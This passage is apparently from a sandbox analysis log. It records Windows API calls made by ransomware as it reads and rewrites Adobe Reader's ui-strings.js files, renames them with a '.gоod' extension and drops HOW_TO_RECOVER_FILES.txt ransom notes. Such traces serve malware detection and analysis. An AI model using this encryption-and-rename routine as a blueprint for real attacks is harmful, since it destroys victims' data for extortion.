hFindFile=0x1283d30) returned 1 [0158.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.721] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x69 [0158.721] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0158.721] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.721] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.722] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0158.722] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0158.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0158.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3515928 | out: lpFileInformation=0x3515928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b)) returned 1 [0158.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0158.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.723] GetFileType (hFile=0x644) returned 0x1 [0158.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.723] GetFileType (hFile=0x644) returned 0x1 [0158.723] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0158.723] ReadFile (in: hFile=0x644, lpBuffer=0x3515e00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3515e00*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0158.724] CloseHandle (hObject=0x644) returned 1 [0158.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.725] GetFileType (hFile=0x644) returned 0x1 [0158.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.725] GetFileType (hFile=0x644) returned 0x1 [0158.725] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3e5b [0158.725] WriteFile (in: hFile=0x644, lpBuffer=0x3517118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3517118*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0158.726] CloseHandle (hObject=0x644) returned 1 [0158.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.726] GetFileType (hFile=0x644) returned 0x1 [0158.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.726] GetFileType (hFile=0x644) returned 0x1 [0158.726] ReadFile (in: hFile=0x644, lpBuffer=0x3519498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3519498*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0158.753] CloseHandle (hObject=0x644) returned 1 [0158.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.754] GetFileType (hFile=0x644) returned 0x1 [0158.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.754] GetFileType (hFile=0x644) returned 0x1 [0158.754] WriteFile (in: hFile=0x644, lpBuffer=0x3518190*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3518190*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0158.754] CloseHandle (hObject=0x644) returned 1 [0158.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0158.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0158.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5ad77dbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e6b)) returned 1 [0158.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0158.754] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0158.755] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0158.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0158.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0158.756] GetFileType (hFile=0x644) returned 0x1 [0158.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0158.756] GetFileType (hFile=0x644) returned 0x1 [0158.756] WriteFile (in: hFile=0x644, lpBuffer=0x3598098*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3598098*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0158.757] CloseHandle (hObject=0x644) returned 1 [0158.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x69 [0158.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0159.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0159.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.538] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0159.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0159.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0159.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0159.538] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x69 [0159.538] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0159.539] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0159.539] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0159.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0159.539] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0159.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36302b8 | out: lpFileInformation=0x36302b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7)) returned 1 [0159.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0159.540] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.540] GetFileType (hFile=0x650) returned 0x1 [0159.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.540] GetFileType (hFile=0x650) returned 0x1 [0159.540] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0159.540] ReadFile (in: hFile=0x650, lpBuffer=0x3630790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3630790*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0159.542] CloseHandle (hObject=0x650) returned 1 [0159.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.542] GetFileType (hFile=0x650) returned 0x1 [0159.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.542] GetFileType (hFile=0x650) returned 0x1 [0159.542] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3ca7 [0159.542] WriteFile (in: hFile=0x650, lpBuffer=0x3636af8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3636af8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0159.543] CloseHandle (hObject=0x650) returned 1 [0159.543] 